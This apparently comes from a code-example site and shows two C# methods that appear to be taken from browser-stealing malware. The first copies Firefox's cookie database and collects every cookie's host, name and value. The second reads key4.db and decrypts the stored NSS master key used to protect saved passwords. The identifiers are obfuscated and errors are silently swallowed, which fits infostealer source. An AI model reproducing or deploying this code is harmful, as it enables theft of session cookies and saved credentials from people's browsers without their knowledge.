예제 #1
0
        //   public static List<string> GeckoCookies = new List<string>();


        public static void CookMhn(string profile, string browser_name, string profile_name)
        {
            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");

                CNT cNT = new CNT(CreateTempCopy(text));
                cNT.ReadTable("moz_cookies");
                for (int i = 0; i < cNT.RowLength; i++)
                {
                    try
                    {
                        domains.Add(cNT.ParseValue(i, "host").Trim());
                        Cookies_Gecko.Add(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + System.Environment.NewLine);


                        //Console.WriteLine(cNT.ParseValue(i, "host").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "path").Trim() + "\t" + (cNT.ParseValue(i, "isSecure") == "1") + "\t" + cNT.ParseValue(i, "expiry").Trim() + "\t" + cNT.ParseValue(i, "name").Trim() + "\t" + cNT.ParseValue(i, "value") + System.Environment.NewLine);
                    }
                    catch
                    {
                    }
                }
            }
            catch (Exception)
            {
            }
        }
예제 #2
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string s           = cNT.ParseValue(0, "item1");
         string s2          = cNT.ParseValue(0, "item2)");
         Gecko4 Gecko4      = Gecko1.Create(Encoding.Default.GetBytes(s2));
         byte[] objectData  = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData;
         Gecko8 Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3));
         objectData  = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = Gecko42.Objects[0].Objects[1].ObjectData;
         Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 } //Если P4Key